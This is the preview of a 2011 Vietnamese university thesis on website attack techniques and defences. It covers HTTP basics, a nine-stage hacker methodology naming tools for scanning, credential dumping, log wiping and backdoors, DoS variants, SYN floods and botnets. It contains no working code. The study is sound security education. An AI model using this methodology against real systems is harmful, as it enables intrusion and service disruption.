1. Trang chủ
  2. » Giáo Dục - Đào Tạo

NGHIÊN CỨU CÁC KỸ THUẬT TẤN CÔNG WEBSITE VÀ CÁC GIẢI PHÁP PHÒNG CHỐNG

73 220 0

Đang tải... (xem toàn văn)

Tài liệu hạn chế xem trước, để xem đầy đủ mời bạn chọn Tải xuống

THÔNG TIN TÀI LIỆU

Thông tin cơ bản

Định dạng
Số trang 73
Dung lượng 2,88 MB

Các công cụ chuyển đổi và chỉnh sửa cho tài liệu này

Nội dung

Mục tiêuNhư chúng ta biết ở bên trên tấn công DoS xảy ra khi kẻ tấn công sử dụng hết tàinguyên của hệ thống và hệ thống không thể đáp ứng cho người dùng bình thườngđược vậy các tài nguyê

Trang 1

KHOA CÔNG NGHỆ THÔNG TIN

Tel (84-511) 736 949, Fax (84-511) 842 771Website: itf.ud.edu.vn, E-mail: cntt@edu.ud.vn

LUẬN VĂN TỐT NGHIỆP KỸ SƯ

NGÀNH CÔNG NGHỆ THÔNG TIN

MÃ NGÀNH : 05115

ĐỀ TÀI : NGHIÊN CỨU CÁC KỸ THUẬT TẤN CÔNG WEBSITE

VÀ CÁC GIẢI PHÁP PHÒNG CHỐNG

Mã số : 06T4-019 Ngày bảo vệ : 15-16/06/2011

SINH VIÊN : VÕ ĐỨC KHÁNH

CBHD : TS Huỳnh Công Pháp

ĐÀ NẴNG, 06/2011

Trang 2

Tôi chân thành cảm ơn giảng viên TS Huỳnh Công Pháp, người đã trực tiếp hướng dẫn tôi hoàn thành đề tài này, người đã tận tình hướng dẫn, chỉ bảo tôi trong suốt thời gian thực hiện đề tài Trong thời gian làm việc với Thầy, tôi không những học hỏi được nhiều kiến thức bổ ích mà còn học được tinh thần làm việc, thái độ nghiên cứu khoa học nghiêm túc của Thầy.

Tôi xin chân thành cảm ơn Khoa Công nghệ Thông tin, trường Đại học Bách Khoa - Đại học Đà Nẵng đã tạo điều kiện cho tôi thực hiện đề tài này.

Xin gửi lời cảm ơn chân thành đến gia đình, ba mẹ và bè bạn vì đã luôn

là nguồn động viên to lớn, giúp đỡ tôi vượt qua những khó khăn trong suốt quá trình làm việc

Mặc dù đã cố gắng hoàn thiện đề tài với tất cả sự nỗ lực của bản thân, nhưng chắc chắn không thể tránh khỏi những thiếu sót Kính mong quý Thầy Cô tận tình chỉ bảo.

Một lần nữa, tôi xin chân thành cảm ơn và luôn mong nhận được sự đóng góp quý báu của tất cả mọi người.

Đà Nẵng, tháng 6 năm 2011.

Võ Đức Khánh

Trang 3

Tôi xin cam đoan :

1 Những nội dung trong luận văn này là do tôi thực hiện dưới sự hướng dẫn trực tiếp của thầy TS Huỳnh Công Pháp.

2 Mọi tham khảo dùng trong luận văn đều được trích dẫn rõ ràng tên tác giả, tên công trình, thời gian, địa điểm công bố.

3 Mọi sao chép không hợp lệ, vi phạm quy chế đào tạo, hay gian trá,

tôi xin chịu hoàn toàn trách nhiệm.

Sinh viên,

Võ Đức Khánh

Trang 4

………

………

………

………

………

………

………

………

………

………

………

………

………

………

………

………

………

………

………

………

………

………

………

………

………

………

………

………

………

………

………

………

Trang 5

………

………

………

………

………

………

………

………

………

………

………

………

………

………

………

………

………

………

………

………

………

………

………

………

………

………

………

………

………

………

………

………

Trang 6

CƠ SỞ LÝ THUYẾT 9

I Khái niệm thuật ngữ liên quan 9

I.1 Hacker 9

I.2 HTTP Message 9

I.2.1 HTTP Request 9

I.2.2 HTTP Response 10

I.3 Cookie 10

I.4 Session 11

I.5 Proxy 11

II Quá trình tấn công của hacker 11

CÁC KỸ THUẬT TẤN CÔNG WEBSITE VÀ CÁC GIẢI PHÁP PHÒNG CHỐNG 14

I Denial of service(DoS) 14

I.1 Khái niệm 14

I.2 Mục đích và mục tiêu của tấn công DoS 14

I.2.1 Các mục đích 14

I.2.2 Mục tiêu 15

I.3 Các dạng tấn công 15

I.3.1 Các dạng tấn công DoS 15

I.4 Mạng BOT NET 19

I.4.1 Ý nghĩa của mạng BOT 19

I.4.2 Mạng BOT 19

I.4.3 Mạng Botnet 19

I.4.4 Mục đích sử dụng mạng Botnet 20

I.4.5 Các dạng của mạng BOT 20

I.4.6 Các bước xây dựng mạng BotNet 21

I.5 Tấn công DDoS 22

I.5.1 Các đặc tính của tấn công DDoS 23

I.5.2 Tấn công DDoS không thể ngăn chặn hoàn toàn 23

I.5.3 Kẻ tấn công khôn ngoan 23

I.6 Phân loại tấn công DdoS 24

I.7 Tấn công Reflective DNS (reflective - phản chiếu) 25

I.8 DRDoS (Distributed Reflection Denial of Service) 25

I.9 Biện pháp phòng chống 26

II Cross-Site Scripting 27

II.1 Khái niệm XSS 27

II.2 Hoạt động 28

II.3 Cảnh giác với XSS 28

II.4 Cách phát hiện XSS 30

II.5 Tấn công 31

II.6 Tấn công XSS bằng flash 32

Trang 7

III.2.1 Ví dụ 35

III.2.2 Tràn bộ nhớ đệm trên stack 35

III.2.3 Chương trình mẫu 36

III.3 Cách khai thác 37

III.3.1 Khai thác lỗi tràn bộ đệm trên stack 37

III.3.2 Khai thác lỗi tràn bộ đệm trên heap 37

III.3.3 Cản trở đối với các thủ thuật khai thác 38

III.4 Cách phòng chống tràn bộ đệm 38

III.4.1 Lựa chọn ngôn ngữ lập trình 38

III.4.2 Sử dụng các thư viện an toàn 39

III.4.3 Chống tràn bộ nhớ đệm trên stack 39

III.4.4 Bảo vệ không gian thực thi 39

III.4.5 Ngẫu nhiên hóa sơ đồ không gian địa chỉ 39

III.4.6 Kiểm tra sâu đối với gói tin 40

IV SQL Injection 40

IV.1 Khái niệm 40

IV.2 Phát hiện lỗi 40

IV.3 Các loại tấn công 41

IV.3.1 Truy xuất dữ liệu trái phép 41

IV.3.2 Vượt qua việc chứng thực 42

IV.3.3 Chỉnh sửa database 42

IV.3.4 Tấn công sang mục tiêu khác 43

IV.4 Blind SQL Injection 43

IV.5 Cách phòng chống 46

IV.5.1 Hạn chế bị phát hiện lỗi 46

IV.5.2 Phòng chống từ bên ngoài 46

IV.5.3 Cải thiện dữ liệu nhập vào 46

IV.5.4 Kết luận 47

THIẾT KẾ VÀ XÂY DỰNG CHƯƠNG TRÌNH THỬ NGHIỆM 48

I Giới thiệu 48

I.1 Thiết kế hệ thống 48

I.2 Thiết kế chức năng 48

I.3 Thiết kế cơ sở dữ liệu 49

I.4 Cài đặt 49

II Kết quả 50

III Mô phỏng kỹ thuật tấn công SQL Injection 53

III.1 Dò lỗi 53

III.2 Tấn công 54

IV Phòng chống SQL Injection 58

TỔNG KẾT 62

I Tổng kết giải pháp phòng chống 62

I.1 Đối với người thiết kế 62

Trang 8

I.3 Đối với người sử dụng 62

II Kết luận 63

II.1 Thành công 63

II.2 Hạn chế 63

II.3 Hướng phát triển 63

Trang 9

DANH MỤC HÌNH ẢNH

Hình 1: Dạng tấn công Smurf sử dụng gói ICMP 16

Hình 2: Tấn công SYN 17

Hình 3: Cơ chế thiết lập kết nối trước khi truyền số liệu 18

Hình 4: Sơ đồ cách hệ thống bị lây nhiễm và sử dụng Agobot 22

Hình 5: Tấn công DDoS 22

Hình 6: Agent Handler Model 24

Hình 7: Tấn công DDoS dựa trên nền tảng IRC 24

Hình 8: Tấn công kiểu DRDoS 25

Hình 9: Biểu đồ ca sử dụng cho người dùng 49

Hình 10: Biểu đồ ca sử dụng cho người quản lý 49

Hình 11: Giao diện website 50

Hình 12: Form đăng ký thành viên 51

Hình 13: Form đăng nhập 51

Hình 14: Form liên hệ, đóng góp ý kiến 52

Hình 15: Thông tin website hiển thị với URL trên 53

Hình 16: Thử với lệnh ORDER BY 1 54

Hình 17: Thử với lệnh ORDER BY 10 54

Hình 18: Thử với lệnh ORDER BY 6 55

Hình 19: Kết quả của lệnh Union select 1,2,3,4,5,6 55

Hình 20: Xem phiên bản của MySQL 56

Hình 21: Xem tên cơ sở dữ liệu 56

Hình 22: Xem các bảng có trong MySQL 56

Hình 23: Các cột trong bảng users 57

Hình 24: Tài khoản và mật khẩu trong bảng users 57

Hình 25: Giải mã mật khẩu md5 57

Hình 26: Dò lỗi form đăng nhập 58

Hình 27: Kết quả đăng nhập được với tài khoản có tên User 58

Hình 28: Thông báo phát hiện tấn công 60

Hình 29: Phân loại dữ liệu nhập vào kiểu số 60

Hình 30: Thử lỗi sau khi lọc dữ liệu 61

Trang 10

DANH MỤC TỪ VIẾT TẮT

IP - Internet Protocol

DNS - Domain Name System

DoS - Denial of Service

IRC - Internet Relay Chat

ADS - Alternate Data Stream

DDoS - Distributed Denial of Service

DRDoS - Distributed Reflection Denial of Service

XSS - Cross-Site Scripting

CSS - Cascading Style Sheet

OWASP - The Open Web Application Standard Project

NX - No eXecute

XD - eXecute Disabled

ASLR - Address Space Layout Randomization

DPI - Deep Packet Inspection

NOP - No-Operation

MS.SQL - Microsoft SQL

IIS - Internet Information Services

Trang 11

Ngày nay, thế giới đang chứng kiến sự bùng nổ về công nghệ thông tin, cùng sựgia tăng số lượng người sử dụng internet Vì vậy, internet trở thành mảnh đất màu mỡ,nơi các doanh nghiệp, tổ chức, cá nhân khai thác triệt để để giới thiệu sản phẩm,quảng bá dịch vụ của mình tới cộng đồng người dùng đông đảo này Bên cạnh đó, với

sự gia tăng nhanh chóng số lượng các trang web về tin tức, giải trí, dịch vụ, thươngmại điện tử… thì xuất hiện thêm khả năng bị tấn công, trở thành đối tượng cho những

kẻ tấn công với các mục đích khác nhau

Các cuộc tấn ngày càng trở nên đa dạng hơn, quy mô hơn, phức tạp hơn Điểnhình là cuộc tấn công kiểu từ chối dịch vụ nhắm vào Hàn Quốc và Mỹ đầu năm 2011gây hậu quả to lớn, cũng như gây bất ổn chính trị, ảnh hưởng an ninh thế giới Hay sựxuất hiện của sâu máy tính Stuxnet vào tháng 6/2010 tại nhà máy điện nguyên tử Iran

là điển hình cho loại vũ khí thế hệ mới Còn ở Việt Nam, đã có những cuộc tấn cônggây xôn xao dư luận như cuộc tấn công vào website của Bộ Giáo dục và đào tạo, Liênđoàn Bóng đá Việt Nam, Thanh tra bộ Giao thông vận tải… Gần đây là cuộc tấn côngliên tục, trong một thời gian dài nhắm vào Báo điện tử VietnamNet gây tổn thất lớn.Tháng 3/2011, Microsoft tiêu diệt Rustock, botnet lớn nhất thế giới, kiểm soáthàng triệu máy tính Điều này chứng tỏ quy mô của các cuộc tấn công hiện nay là rấtkhổng lồ Nhưng đây có thể chỉ là phần nổi của tảng băng Rất nhiều các cuộc tấncông không được thông báo, vì nhiều lý do như sợ mất uy tín, hay thậm chí là ngườiquản trị không hề hay biết rằng đã bị tấn công

Nếu như trước đây, các cuộc tấn công thường chủ yếu là việc xưng hùng, xưng bácủa các hacker, chỉ để thử tài hay đùa giỡn với người khác Thì hiện nay, các cuộc tấncông ngày càng tinh vi hơn, diễn ra âm thầm, và đặt biệt rất khó phát hiện Nguy hiểmhơn, những cuộc tấn công vì mục đích kinh tế đang dần chuyển sang ý đồ chính trị.Cùng với sự hỗ trợ của rất nhiều công cụ, dịch vụ tìm kiếm, việc phát hiện các lỗibảo mật cũng tương đối dễ dàng Điều này cũng góp phần giúp những nhà phát triển,thiết kế website chủ động phòng tránh các đợt tấn công của hacker Tuy nhiên sự pháttriển nhanh chóng các công nghệ web, dẫn đến phát sinh các khuyết điểm mới

Với sự đam mê tìm hiểu về lĩnh vực kỹ nghệ bảo mật, nhất là bảo mật website, tôi

đã chọn đề tài tốt nghiệp “NGHIÊN CỨU CÁC KỸ THUẬT TẤN CÔNG WEBSITE

VÀ CÁC GIẢI PHÁP PHÒNG CHỐNG” Với phạm vi luận văn này, tôi sẽ chủ yếunghiên cứu và phân tích một số kỹ thuật tấn công website Qua đó, tôi đề xuất các giảipháp phòng chống phù hợp Cùng với giải pháp đề xuất trong luận văn này,tôi cũng sẽxây dựng một website dùng để mô phỏng cuộc tấn công kiểu SQL Injection và đưa racác biện pháp ngăn chặn kiểu tấn công này

Trang 12

- Khái niệm các thuật ngữ liên quan đến bảo mật website.

- Cách thức tấn công của kẻ tấn công

Chương 2: Kỹ thuật tấn công website và giải pháp phòng chống

- Tấn công từ chối dịch vụ (DoS) và giải pháp phòng chống

- Chèn mã lệnh thực thi (XSS) và giải pháp phòng chống

- Lỗi tràn bộ nhớ đệm và giải pháp phòng chống

- SQL Injection và giải pháp phòng chống

Chương 3: Thiết kế và xây dựng chương trình thử nghiệm

- Thiết kế, xây dựng website cửa hàng quà tặng, kết quả

- Mô phỏng đợt tấn công SQL Injection

- Ngăn chặn tấn công SQL Injection

Trang 13

Hack, trong tiếng Anh, là hành động thâm nhập vào phần cứng máy tính, phầnmềm máy tính hay mạng máy tính để thay đổi hệ thống đó.

Hacker mũ trắng là từ thường được gọi những người mà hành động thâm nhập vàthay đổi hệ thống của họ được xem là tốt, chẳng hạn như những nhà bảo mật, lập trìnhviên, chuyên viên mạng máy tính

Hacker mũ đen là từ thường được gọi những người mà hành động thâm nhập là cómục đích phá hoại, hoặc vi phạm pháp luật

Ngoài ra còn có hacker mũ xanh (blue hat), mũ xám (grey hat) với ý nghĩa khác,nhưng chưa được công nhận rộng rãi

Trang 14

Mỗi request bắt đầu với một Request-Line Một HTTP Request-Line có mộtphương thức, một địa chỉ định danh tài nguyên (URI), và thông báo phiên bản HTTP.Tiếp theo là các tham số Chẳng hạn như:

 Accept-Language: Cho biết ngôn ngữ dùng trong trang web

 Host: Cho biết địa chỉ của máy chủ

 Referer: Cho biết địa chỉ của trang web tham chiếu tới

Header của HTTP request sẽ kết thúc bằng một dòng trống

I.2.2 HTTP Response

HTTP/1.1 200 OK

Date: Sun, 08 Oct 2000 18:46:12 GMT

Server: Apache/1.3.6 (Unix)

Keep-Alive: timeout=5, max=120

Cookie là những phần dữ liệu nhỏ có cấu trúc được chia sẻ giữa trình chủ và trìnhduyệt của người dùng Các cookie được lưu trữ dưới những file dữ liệu nhỏ dạng text,được ứng dụng tạo ra để lưu trữ/truy tìm/nhận biết các thông tin về người dùng đã ghéthăm trang Web và những vùng mà họ đi qua trong trang Những thông tin này có thểbao gồm tên/định danh người dùng, mật khẩu, sở thích, thói quen Cookie được trìnhduyệt của người dùng chấp nhận lưu trên đĩa cứng của máy mình, tuy nhiên khôngphải lúc nào trình duyệt cũng hỗ trợ cookie, mà còn tùy thuộc vào người dùng có chấpnhận chuyện lưu trữ đó hay không

Cookies thường có các thành phần sau :

 Tên: do người lập trình web site chọn

 Domain: là tên miền từ server mà cookie được tạo và gửi đi

 Đường dẫn: thông tin về đường dẫn ở web site mà bạn đang xem

 Ngày hết hạn: là thời điểm mà cookie hết hiệu lực

Trang 15

 Bảo mật: Nếu giá trị này đựơc thiết lập bên trong cookie, thông tin sẽ đựơc mãhoá trong quá trình truyền giữa server và browser.

 Các giá trị khác: là những dữ liệu đặc trưng được web server lưu trữ để nhậndạng về sau các giá trị này ko chứa các khoảng trắng, dấu chấm, phẩy và bịgiới hạn trong khoảng 4k

HTTP là giao thức hướng đối tượng tổng quát, phi trạng thái, nghĩa là HTTPkhông lưu trữ trạng thái làm việc giữa trình duyệt với trình chủ Sự thiếu sót này gâykhó khăn cho một số ứng dụng Web, bởi vì trình chủ không biết được trước đó trìnhduyệt đã có những trạng thái nào Vì thế, để giải quyết vấn đề này, ứng dụng Web đưa

ra một khái niệm phiên làm việc (Session) Còn SessionID là một chuỗi để chứngthực phiên làm việc Một số trình chủ sẽ cung cấp một SessionID cho người dùng khi

họ xem trang web trên trình chủ

Để duy trì phiên làm việc thì sessionID thường được lưu vào:

 Biến trên URL

 Biến ẩn form

 Cookie

Phiên làm việc chỉ tồn tại trong một khoảng thời gian cho phép, thời gian này đượccấu hình quy định tại trình chủ hoặc bởi ứng dụng thực thi Trình chủ sẽ tự động giảiphóng phiên làm việc để khôi phục lại tài nguyên của hệ thống

Proxy cung cấp cho người sử dụng truy xuất internet những nghi thức đặc biệthoặc một tập những nghi thức thực thi trên dual_homed host hoặc basion host Nhữngchương trình client của người sử dung sẽ qua trung gian proxy server thay thế choserver thật sự mà người sử dụng cần giao tiếp

Proxy server xác định những yêu cầu từ client và quyết định đáp ứng hay khôngđáp ứng, nếu yêu cầu được đáp ứng, proxy server sẽ kết nối với server thật thay choclient và tiếp tục chuyển tiếp đến những yêu cầu từ client đến server, cũng như đápứng những yêu cầu của server đến client Vì vậy proxy server giống cầu nối trung giangiữa server và client

II Quá trình tấn công của hacker

Để tấn công website, các hacker thường thực hiện các bước cơ bản sau:

Bước 1: FootPrinting (Thu thập thông tin)

Trang 16

Đây là cách mà hacker làm khi muốn lấy một lượng thông tin tối đa về máy chủ/doanh nghiệp/người dùng, bao gồm chi tiết về địa chỉ IP, Whois, DNS… là nhữngthông tin chính thức có liên quan đến mục tiêu.

Công cụ hỗ trợ: UseNet , search engines (công cụ tìm kiếm) , Edgar Any Unixclient…

Bước 2: Scanning (Quét thăm dò)

Phần lớn thông tin quan trọng từ server có được từ bước này, bao gồm quét cổng,xác định hệ điều hành… để biết các port trên server, nghe đường dữ liệu

Các công cụ: fping, nmap, SuperScan, fscan nmap…

Bước 3: Enumeration (Liệt kê tìm lỗ hổng)

Bước thứ ba là tìm kiếm những tài nguyên được bảo vệ kém, hoạch tài khoảnngười dùng mà có thể sử dụng để xâm nhập, bao gồm các mật khẩu mặc định, cácscript và dịch vụ mặc định Rất nhiều người quản trị mạng không biết đến hoặckhông sửa đổi lại các giá trị này

Các công cụ: null sessions, DumpACL, sid2user, netcat…

Bước 4: Gaining access (Tìm cách xâm nhập)

Bây giờ hacker sẽ tìm cách truy cập vào mạng bằng những thông tin có được ở babước trên Phương pháp được sử dụng ở đây có thể là tấn công vào lỗi tràn bộ đệm,lấy và giải mã file password, hay brute force (kiểm tra tất cả các trường hợp)password

Các công cụ: tcpdump, NAT, legion, tftp, pwdump2 (NT) ttdb, bind…

Bước 5: Escalating privilege (Leo thang đặc quyền)

Trong trường hợp hacker xâm nhập đựợc vào mạng với một tài khoản nào đó, thì

họ sẽ tìm cách kiểm soát toàn bộ hệ thống Hacker sẽ tìm cách crack password củaadmin, hoặc sử dụng lỗ hổng để leo thang đặc quyền

John và Riper là hai chương trình crack password rất hay được sử dụng

Công cụ: L0phtcrack, Ic_messages, getadmin, sechole

Bước 6: Pilfering (Dùng khi các file chứa pass bị sơ hở)

Thêm một lần nữa các máy tìm kiếm lại đựơc sử dụng để tìm các phương pháptruy cập vào mạng Những file text chứa password hay các cơ chế không an toàn khác

có thể là đích cho hacker Thông tin lấy từ bước trên đủ để ta định vị server và điềukhiển server

Công cụ hỗ trợ: rhost, LSA Secrets user data, configuration files, Registry

Bước 7: Covering Tracks (Xoá dấu vết)

Trang 17

Sau khi đã có những thông tin cần thiết, hacker tìm cách xoá dấu vết, xoá các filelog của hệ điều hành làm cho người quản lý không nhận ra hệ thống đã bị xâm nhậphoặc có biết cũng không tìm ra kẻ xâm nhập là ai.

Công cụ: Zap, Event log GUI, rootkits, file streaming

Bước 8: Creating Backdoors (Tạo cửa sau)

Hacker để lại Backdors, tức là một cơ chế cho phép hacker truy nhập trở lại bằngcon đường bí mật không phải tốn nhiều công sức, bằng việc cài đặt Trojan hay tạouser mới (đối với tổ chức có nhiều user)

Công cụ ở đây là các loại Trojan, keylog Công cụ: administrators cron, At rc,Startup folder, registry keys, netcat, remote.exe, VNC, BO2K, keystroke loggers, addacct to secadmin mail aliases login, fpnwclnt.dll

Bước 9: Denial of Service (DoS)( Tấn công kiểu từ chối dịch vụ)

Nếu không thành công trong việc xâm nhập, thì DoS là phương tiện cuối cùng đểtấn công hệ thống Nếu hệ thống không được cấu hình đúng cách, nó sẽ bị phá vỡ vàcho phép hacker truy cập Hoặc trong trường hợp khác thì DoS sẽ làm cho hệ thốngkhông hoạt động được nữa

Các công cụ: trin00, Ping Of Death, teardrop…

Nhận xét

Việc thu thập thông tin là vô cùng quan trọng cho việc tấn công vào một hệ thốngmáy đích Cho dù hacker tấn công theo phương diện phần cứng hay qua ứng dụng thìviệc thu thập vẫn là cần thiết Vấn đề là việc thực hiện sẽ theo từng bước như thế nào

Có thể trong những bước đã nêu hacker không cần phải đi qua theo thứ tự hay quahết, nhưng việc nắm rõ thông tin của máy đích luôn là điều kiện tiên quyết để dẫn đếnthành công trong việc tấn công

Tùy vào nội dung thông tin mà hacker thu thập được mà hacker sẽ quyết định tấncông theo kĩ thuật nào Do đó, việc bảo mật cho một hệ thống cần đòi hỏi sự kết hợpkhông chỉ của riêng nhà quản trị hệ thống mà còn của nhà thiết kế ứng dụng và sự hợptác của cả những khách hàng sử dụng ứng dụng

Trang 18

CHƯƠNG 2

CÁC KỸ THUẬT TẤN CÔNG WEBSITE VÀ CÁC GIẢI PHÁP PHÒNG CHỐNG

I Denial of service(DoS)

Tấn công DoS là một kiểu tấn công mà một người làm cho một hệ thống không thể

sử dụng, hoặc làm cho hệ thống đó chậm đi một cách đáng kể với người dùng bìnhthường, bằng cách làm quá tải tài nguyên của hệ thống

Nếu kẻ tấn công không có khả năng thâm nhập được vào hệ thống, thì chúng cốgắng tìm cách làm cho hệ thống đó sụp đổ và không có khả năng phục vụ người dùngbình thường đó là tấn công Denial of Service (DoS)

Mặc dù tấn công DoS không có khả năng truy cập vào dữ liệu thực của hệ thốngnhưng nó có thể làm gián đoạn các dịch vụ mà hệ thống đó cung cấp

Như định nghĩa trên DoS khi tấn công vào một hệ thống sẽ khai thác những cáiyếu nhất của hệ thống để tấn công, những mục đích của tấn công DoS

I.2.1 Các mục đích

Cố gắng chiếm băng thông mạng và làm hệ thống mạng bị ngập (flood), khi đó hệthống mạng sẽ không có khả năng đáp ứng những dịch vụ khác cho người dùng bìnhthường

Cố gắng làm ngắt kết nối giữa hai máy, và ngăn chặn quá trình truy cập vào dịchvụ

Cố gắng ngăn chặn những người dùng cụ thể vào một dịch vụ nào đó

Cố gắng ngăn chặn các dịch vụ không cho người khác có khả năng truy cập vào.Khi tấn công DoS xảy ra, dịch vụ đó như bị:

 Disable Network - Tắt mạng

 Disable Organization - Tổ chức không hoạt động

 Financial Loss – Tài chính bị mất

Trang 19

I.2.2 Mục tiêu

Như chúng ta biết ở bên trên tấn công DoS xảy ra khi kẻ tấn công sử dụng hết tàinguyên của hệ thống và hệ thống không thể đáp ứng cho người dùng bình thườngđược vậy các tài nguyên chúng thường sử dụng để tấn công là gì:

Tạo ra sự khan hiếm, những giới hạn và không đổi mới tài nguyên

Băng thông của hệ thống mạng (Network Bandwidth), bộ nhớ, ổ đĩa, và CPU Timehay cấu trúc dữ liệu đều là mục tiêu của tấn công DoS

Tấn công vào hệ thống khác phục vụ cho mạng máy tính như: hệ thống điều hoà,

hệ thống điện, hệ thống làm mát và nhiều tài nguyên khác của doanh nghiệp

Phá hoại hoặc thay đổi các thông tin cấu hình

Phá hoại tầng vật lý hoặc các thiết bị mạng như nguồn điện, điều hoà…

Tấn công Denial of Service chia ra làm hai loại tấn công

Tấn công DoS: Tấn công từ một cá thể, hay tập hợp các cá thể

Tấn công DDoS(Distributed Denial of Service): Đây là sự tấn công từ một mạngmáy tính được thiết kế để tấn công tới một đích cụ thể nào đó

I.3.1 Các dạng tấn công DoS

Kết quả đích tấn công sẽ phải chịu nhận một đợt Reply gói ICMP cực lớn và làmcho mạng bị rớt hoặc bị chậm lại không có khả năng đáp ứng các dịch vụ khác

Quá trình này được khuyếch đại khi có luồng ping reply từ một mạng được kết nốivới nhau (mạng BOT)

Trang 20

Tấn công Fraggle, sử dụng UDP echo và tương tự như tấn công Smurf.

Hình 1: Dạng tấn công Smurf sử dụng gói ICMP

2 Tấn công Buffer overflow

Buffer Overflow xảy ra tại bất kỳ thời điểm nào có chương trình ghi lượng thôngtin lớn hơn dung lượng của bộ nhớ đệm trong bộ nhớ

Kẻ tấn công có thể ghi đè lên dữ liệu và điều khiển chạy các chương trình và đánhcắp quyền điều khiển của một số chương trình nhằm thực thi các đoạn mã nguy hiểm.Quá trình gửi một bức thư điện tử mà file đính kèm dài quá 256 ký tự có thể sẽ xảy

ra quá trình tràn bộ nhớ đệm

3 Tấn công Ping of Death

Kẻ tấn công gửi những gói tin lớn hơn số lượng bytes cho phép của gói tin là65.536 bytes

Quá trình chia nhỏ gói tin thành những phần nhỏ được thực hiện ở layer 2

Trang 21

Quá trình chia nhỏ có thể thực hiện với gói tin lớn hơn 65.536 bytes Nhưng hệđiều hành không thể nhận biết được độ lớn của gói tin này và sẽ bị khởi động lại, hayđơn giản là sẽ bị gián đoạn giao tiếp.

4 Tấn công Teardrop

Tất cả các dữ liệu chuyển đi trên mạng từ hệ thống nguồn đến đích đều phải trảiqua 2 quá trình: dữ liệu sẽ được chia ra thành các mảnh nhỏ ở hệ thống nguồn, mỗimảnh đều phải có một giá trị offset nhất định để xác định vị trí của mảnh đó trong gói

dữ liệu được chuyển đi Khi các mảnh này đến hệ thống đích, hệ thống đích sẽ dựavào giá trị offset để sắp xếp các mảnh lại với nhau theo thứ tự đúng như ban đầu.Hacker sử dụng gói tin với các thông số rất khó hiểu để chia ra các phần nhỏ(fragment) Một loạt gói packets với giá trị offset chồng chéo lên nhau được gởi đến

hệ thống đích

Nếu hệ điều hành nhận được các gói tin đã được chia nhỏ và không hiểu được, hệthống cố gắng build lại gói tin và điều đó chiếm một phần tài nguyên hệ thống, nếuquá trình đó liên tục xảy ra hệ thống không còn tài nguyên cho các ứng dụng khác,phục vụ các user khác

5 Tấn công SYN

Hình 2: Tấn công SYN.

Trang 22

Kẻ tấn công gửi các yêu cầu (request ảo) TCP SYN tới máy chủ bị tấn công Để

xử lý lượng gói tin SYN này hệ thống cần tốn một lượng bộ nhớ cho kết nối

Khi có rất nhiều gói SYN ảo tới máy chủ và chiếm hết các yêu cầu xử lý của máychủ Một người dùng bình thường kết nối tới máy chủ ban đầu thực hiện Request TCPSYN và lúc này máy chủ không còn khả năng đáp lại - kết nối không được thực hiện.Đây là kiểu tấn công mà kẻ tấn công lợi dụng quá trình giao tiếp của TCP theocách bắt tay 3 bước

Các đoạn mã nguy hiểm có khả năng sinh ra một số lượng cực lớn các gói TCPSYN tới máy chủ bị tấn công, địa chỉ IP nguồn của gói tin đã bị thay đổi và đó chính

là tấn công DoS

Hình bên trên thể hiện các giao tiếp bình thường với máy chủ và bên dưới thế hiệnkhi máy chủ bị tấn công gói SYN đến sẽ rất nhiều trong khi đó khả năng trả lời củamáy chủ lại có hạn và khi đó máy chủ sẽ từ chối các truy cập hợp pháp

Hình 3: Cơ chế thiết lập kết nối trước khi truyền số liệu.

Quá trình TCP bắt tay 3 bước được thực hiện: Khi máy A muốn giao tiếp với máy

B (1) máy A bắn ra một gói TCP SYN tới máy B – (2) máy B khi nhận được góiSYN từ A sẽ gửi lại máy A gói ACK đồng ý kết nối – (3) máy A gửi lại máy B góiACK và bắt đầu các giao tiếp dữ liệu

Máy A và máy B sẽ giữ kết nối ít nhất là 75 giây, sau đó lại thực hiện một quátrình TCP bắt tay 3 bước lần nữa để thực hiện phiên kết nối tiếp theo để trao đổi dữliệu

Thật không may hacker đã lợi dụng kẽ hở này để thực hiện hành vi tấn công nhằm

sử dụng hết tài nguyên của hệ thống bằng cách giảm thời gian yêu cầu bắt tay 3 bướcxuống rất nhỏ và không gửi lại gói ACK, cứ bắn gói SYN ra liên tục trong một thờigian nhất định và không bao giờ trả lời lại gói SYN&ACK từ máy bị tấn công

Với nguyên tắc chỉ chấp nhận gói SYN từ một máy tới hệ thống sau mỗi 75 giâynếu địa chỉ IP nào vi phạm sẽ chuyển vào Rule deny access sẽ ngăn cản tấn công này

Trang 23

I.4 Mạng BOT NET

I.4.1 Ý nghĩa của mạng BOT

Khi sử dụng một tool tấn công DoS tới một máy chủ đôi khi không gây ảnh hưởng

gì cho máy chủ Giả sử sử dụng công cụ Ping of Death tới một máy chủ, trong đó máychủ kết nối với mạng tốc độ 100Mbps, hacker kết nối tới máy chủ tốc độ 3Mbps Vậytấn công của hacker không có ý nghĩa gì

Nhưng nếu có 1000 người như vậy cùng một lúc tấn công vào máy chủ kia khi đótoàn bộ băng thông của 1000 người cộng lại tối đa đạt 3Gbps và tốc độ kết nối củamáy chủ là 100 Mbps vậy kết quả sẽ ra sao các bạn có khả năng tưởng tượng

Vậy làm cách nào để có 1000 máy tính kết nối với mạng? Đi mua một nghìn chiếc

và thuê 1000 thuê bao kết nối? Chắc chắn tôi không làm như vậy rồi và cũng không

kẻ tấn công nào sử dụng phương pháp này cả Hacker xây dựng một mạng gồm hàngnghìn máy tính kết nối Internet

Khi có trong tay mạng BOT, hacker sử dụng những công cụ tấn công đơn giản đểtấn công vào một hệ thống máy tính Dựa vào những truy cập hoàn toàn hợp lệ của hệthống, cùng một lúc chúng sử dụng một dịch vụ của máy chủ, bạn thử tưởng tượngkhi kẻ tấn công có trong tay 400.000 máy và cùng một lúc ra lệnh cho chúngdownload một file trên trang web của bạn Và đó chính là DDoS – Distributed Denial

of Servcie

I.4.2 Mạng BOT

BOT từ viết tắt của từ RoBOT

IRCbot – còn được gọi là zombia hay drone

Internet Relay Chat (IRC) là một dạng truyền dữ liệu thời gian thực trên Internet

Nó thường được thiết kế sao cho một người có thể nhắn được cho một group và mỗingười có thể giao tiếp với nhau với một kênh khác nhau được gọi là Channels

Đầu tiên BOT kết nối kênh IRC với IRC Server và đợi giao tiếp giữa những ngườivới nhau Hacker có thể điều khiển mạng BOT và sử dụng mạng BOT cũng như sửdụng nhằm một mục đích nào đó

Nhiều mạng BOT kết nối với nhau người ta gọi là BOTNET – botnet

Trang 24

này đã có khả năng tạo băng thông là 1000*128 Mbps Đây là một con số thể hiệnbăng thông mà khó một nhà Hosting nào có thể share cho mỗi trang web của mình.

I.4.4 Mục đích sử dụng mạng Botnet

Tấn công Distributed Denial-of-Service – DDoS: Botnet được sử dụng cho tấncông DDoS

